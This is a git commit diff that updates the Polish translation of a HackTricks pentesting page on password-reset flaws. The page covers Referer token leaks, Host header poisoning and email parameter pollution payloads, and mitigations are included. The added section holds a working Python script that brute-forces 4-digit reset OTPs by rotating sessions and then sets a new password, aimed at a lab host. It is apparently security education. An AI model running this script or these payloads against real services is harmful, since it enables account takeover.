mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to pl
This commit is contained in:
parent
7dcb35eae9
commit
de35ae2660
@ -2,24 +2,24 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Wyciekanie Tokena Resetowania Hasła Poprzez Referer**
|
||||
## **Wycieki Tokenów Resetowania Hasła Poprzez Referer**
|
||||
|
||||
- Nagłówek HTTP referer może wyciekać token resetowania hasła, jeśli jest zawarty w URL. Może to nastąpić, gdy użytkownik kliknie link do strony trzeciej po zażądaniu resetowania hasła.
|
||||
- Nagłówek HTTP referer może ujawniać token resetowania hasła, jeśli jest zawarty w URL. Może to nastąpić, gdy użytkownik kliknie link do strony trzeciej po zażądaniu resetowania hasła.
|
||||
- **Wpływ**: Potencjalne przejęcie konta za pomocą ataków Cross-Site Request Forgery (CSRF).
|
||||
- **Eksploatacja**: Aby sprawdzić, czy token resetowania hasła wycieka w nagłówku referer, **zażądaj resetowania hasła** na swój adres e-mail i **kliknij link resetujący**. **Nie zmieniaj hasła** od razu. Zamiast tego, **przejdź do strony trzeciej** (takiej jak Facebook lub Twitter), jednocześnie **przechwytując żądania za pomocą Burp Suite**. Sprawdź żądania, aby zobaczyć, czy **nagłówek referer zawiera token resetowania hasła**, ponieważ może to ujawnić wrażliwe informacje osobom trzecim.
|
||||
- **Odnośniki**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Artykuł o Wycieku Tokena Resetowania Hasła](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Artykuł o Wycieku Tokenów Resetowania Hasła](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Zatrucie Resetowania Hasła**
|
||||
|
||||
- Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetujący na złośliwą stronę.
|
||||
- **Wpływ**: Prowadzi do potencjalnego przejęcia konta poprzez wyciek tokenów resetowania do atakujących.
|
||||
- Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetujący do złośliwej strony.
|
||||
- **Wpływ**: Prowadzi do potencjalnego przejęcia konta poprzez ujawnienie tokenów resetowania atakującym.
|
||||
- **Kroki łagodzące**:
|
||||
- Waliduj nagłówek Host w porównaniu do białej listy dozwolonych domen.
|
||||
- Używaj bezpiecznych, serwerowych metod do generowania absolutnych URL.
|
||||
- **Łatka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL resetowania hasła zamiast `$_SERVER['HTTP_HOST']`.
|
||||
- **Poprawka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL do resetowania hasła zamiast `$_SERVER['HTTP_HOST']`.
|
||||
- **Odnośniki**:
|
||||
- [Artykuł Acunetix o Zatruciu Resetowania Hasła](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
@ -33,7 +33,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Dodaj email atakującego jako drugi parametr używając %20
|
||||
- Dodaj email atakującego jako drugi parametr, używając %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -45,7 +45,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Dodaj email atakującego jako drugi parametr, używając cc
|
||||
- Dodaj adres e-mail atakującego jako drugi parametr, używając cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -71,7 +71,7 @@ POST /resetPassword
|
||||
```
|
||||
- **Kroki łagodzenia**:
|
||||
- Prawidłowo analizuj i waliduj parametry e-mailowe po stronie serwera.
|
||||
- Używaj przygotowanych instrukcji lub zapytań z parametrami, aby zapobiec atakom typu injection.
|
||||
- Używaj przygotowanych zapytań lub zapytań z parametrami, aby zapobiec atakom typu injection.
|
||||
- **Referencje**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
@ -88,12 +88,12 @@ POST /api/changepass
|
||||
- **Kroki łagodzenia**:
|
||||
- Zapewnij ścisłą walidację parametrów i kontrole uwierzytelniania.
|
||||
- Wprowadź solidne logowanie i monitorowanie, aby wykrywać i reagować na podejrzane działania.
|
||||
- **Referencja**:
|
||||
- **Referencje**:
|
||||
- [Pełne przejęcie konta za pomocą manipulacji parametrami API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Brak ograniczeń szybkości: Bombardowanie e-mailem**
|
||||
|
||||
- Brak ograniczeń szybkości w żądaniach resetowania hasła może prowadzić do bombardowania e-mailem, przytłaczając użytkownika e-mailami resetującymi.
|
||||
- Brak ograniczeń szybkości w żądaniach resetowania hasła może prowadzić do bombardowania e-mailem, przytłaczając użytkownika wiadomościami o resetowaniu.
|
||||
- **Kroki łagodzenia**:
|
||||
- Wprowadź ograniczenia szybkości na podstawie adresu IP lub konta użytkownika.
|
||||
- Użyj wyzwań CAPTCHA, aby zapobiec automatycznemu nadużywaniu.
|
||||
@ -132,7 +132,7 @@ uuid-insecurities.md
|
||||
- **Kroki łagodzenia**:
|
||||
- Wprowadź kontrole po stronie serwera, aby zapewnić integralność odpowiedzi.
|
||||
- Użyj bezpiecznych kanałów komunikacyjnych, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
|
||||
- **Referencja**:
|
||||
- **Referencje**:
|
||||
- [Krytyczny błąd w wydarzeniu Live Bug Bounty](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Używanie wygasłego tokena**
|
||||
@ -166,6 +166,70 @@ uuid-insecurities.md
|
||||
- **Kroki łagodzenia**:
|
||||
- Ustaw rozsądny czas wygaśnięcia dla tokenów resetowania i ściśle egzekwuj go po stronie serwera.
|
||||
|
||||
## **Ominięcie limitu szybkości OTP poprzez zmianę sesji**
|
||||
|
||||
- Jeśli strona internetowa używa sesji użytkownika do śledzenia błędnych prób OTP, a OTP był słaby (<= 4 cyfry), to możemy skutecznie złamać OTP.
|
||||
- **eksploatacja**:
|
||||
- po prostu poproś o nowy token sesji po zablokowaniu przez serwer.
|
||||
- **Przykład** kodu, który wykorzystuje ten błąd, zgadując losowo OTP (gdy zmienisz sesję, OTP również się zmieni, więc nie będziemy mogli go łamać sekwencyjnie!):
|
||||
|
||||
``` python
|
||||
# Ominięcie uwierzytelniania przez reset hasła
|
||||
# autor coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||
}
|
||||
url = "http://10.10.12.231:1337/reset_password.php"
|
||||
logout = "http://10.10.12.231:1337/logout.php"
|
||||
root = "http://10.10.12.231:1337/"
|
||||
|
||||
parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Rozpoczynanie ataku!")
|
||||
sleep(3)
|
||||
print("[+] To może zająć około 5 minut!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # losowa liczba od 0 do 9999 z 4 cyframi
|
||||
parms["s"] = 164 # nieistotne, wpływa tylko na frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # liczba prób
|
||||
out = requests.get(logout,headers=headers) # wylogowuje cię
|
||||
mainp = requests.get(root) # pobiera inny phpssid (token)
|
||||
|
||||
cookies = out.cookies # wyciąga sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # aktualizuje nagłówki z nową sesją
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # wysyła e-mail do zmiany hasła
|
||||
ter = 0 # resetuje ter, aby uzyskać nową sesję po 8 próbach
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # to jest długość strony, gdy poprawnie uzyskasz kod odzyskiwania (uzyskane przez testowanie)
|
||||
print(len(res.text)) # dla informacji debugowania
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # tutaj zmienimy hasło na coś nowego
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Hasło zostało zmienione na: D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Atak zatrzymany")
|
||||
```
|
||||
|
||||
## Referencje
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
Loading…
x
Reference in New Issue
Block a user